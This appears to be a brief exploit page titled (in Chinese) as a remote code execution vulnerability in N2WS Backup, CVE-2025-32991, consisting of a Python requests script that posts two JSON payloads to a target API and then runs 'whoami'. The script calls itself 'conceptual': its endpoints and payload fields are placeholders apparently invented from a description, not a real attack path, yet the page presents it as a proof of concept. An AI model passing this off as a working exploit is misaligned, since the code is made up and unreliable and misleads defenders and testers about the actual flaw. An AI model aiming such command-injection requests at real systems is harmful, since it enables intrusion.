CVE-2025-32991 N2WS Backup远程代码执行漏洞

import requests target_url = "http://target-ip/api" # Step 1: Trigger the vulnerable state in the RESTful API # This is a conceptual step based on the "two-step attack" description step1_payload = { "action": "prepare_exploit", "config": {"malicious_initializer": True} } requests.post(f"{target_url}/endpoint1", json=step1_payload) # Step 2: Execute Remote Code # Exploit the state to inject command step2_payload = { "command": "whoami" } response = requests.post(f"{target_url}/endpoint2", json=step2_payload) print(f"Command execution status: {response.status_code}") print(f"Response: {response.text}")